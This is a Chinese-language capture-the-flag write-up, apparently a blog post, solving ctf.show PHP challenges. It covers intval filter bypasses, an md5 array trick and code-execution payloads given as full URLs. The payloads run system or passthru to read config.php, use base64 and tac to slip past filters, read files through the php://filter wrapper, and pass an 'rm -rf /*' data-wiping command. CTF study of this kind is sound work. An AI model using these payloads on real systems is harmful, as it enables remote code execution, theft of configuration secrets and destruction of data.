intval绕过
由题目可知需要获取一个id=1000,但是在代码中可以看到当>1000时会出现id error,于是有以下方法绕过intval
intval() 可以获取变量的整数值。常用于强制类型转换。
int intval( $var, $base )
- 当某个数字被过滤时,可以使用它的 8进制/16进制来绕过;比如过滤10,就用012(八进制)或0xA(十六进制)。
- 对于弱比较(a==b),可以给a、b两个参数传入空数组,使弱比较为true。
- 当某个数字被过滤时,可以给它增加小数位来绕过;比如过滤3,就用3.1。
- 当某个数字被过滤时,可以给它拼接字符串来绕过;比如过滤3,就用3ab。(GET请求的参数会自动拼接单引号)
- 当某个数字被过滤时,可以两次取反来绕过;比如过滤10,就用~~10。
- 当某个数字被过滤时,可以使用算数运算符绕过;比如过滤10,就用 5+5 或 2*5
+号绕过
2B为+号的ASCII码
十六进制绕过
intval绕过(2)
分析源码可知出现+号会被过滤掉
故使用十六进制绕过
intval绕过(3)
分析源码可知*、+、十六进制都会被过滤
故构造payloadhttp://1ada3a9b-dd02-4937-9a39-0e1bc69b0a3c.challenge.ctf.show/?id=100||id=1000
intval绕过(4)
构造payloadhttp://1ada3a9b-dd02-4937-9a39-0e1bc69b0a3c.challenge.ctf.show/?id=100||id=1000
intval绕过(5)
http://ff478bde-5a80-48c1-aa12-ede757ccfb51.challenge.ctf.show/?id=~~1000
使用~~取反
删库
根据题目提示,直接执行rm - rf /*
http://fd1972d3-c17f-4235-8cec-64f03d367a15.challenge.ctf.show?flag=rm-rf /*
可执行代码
system执行
查看代码可知用system即可查看config.php
http://b8bff3c4-9a5b-43cd-8bfc-1fbb58c6a95e.challenge.ctf.show?c=system('cat config.php');
passthru执行
查看代码可知这几种查看config.php的方法已被过滤
故使用passthru执行绕过查看
http://b8bff3c4-9a5b-43cd-8bfc-1fbb58c6a95e.challenge.ctf.show?c=passthru('cat config.php');
more查看
过滤了cat、system、exec等
使用passthru与morehttp://b8bff3c4-9a5b-43cd-8bfc-1fbb58c6a95e.challenge.ctf.show?c=passthru('more config.php');
base64绕过
观察代码可知,过滤了.、php等,所以使用base64编码绕过
http://2f7417fc-1d7a-4b45-b791-e46fff4e5dbd.challenge.ctf.show?c=$a=base64_decode('Y2F0IGNvbmZpZy5waHA=');passthru($a);
php闭合+tac绕过
观察代码发现把分号、config、php等过滤掉了,故想到使用闭合php,再看到system、cat被过滤,想到使用tac
http://1aa1d227-f0ca-4465-80ce-4cf3ad3704fe.challenge.ctf.show?c=passthru('tac confi*')?>
php伪协议
include$_GET[a]?>&a=php://filter/read=convert.base64-encode/resource=config.php
php伪协议 与 POST一句话木马
md5绕过
通过构造
name[]=1 && password[]=1绕过
1 条评论
不明觉历呀。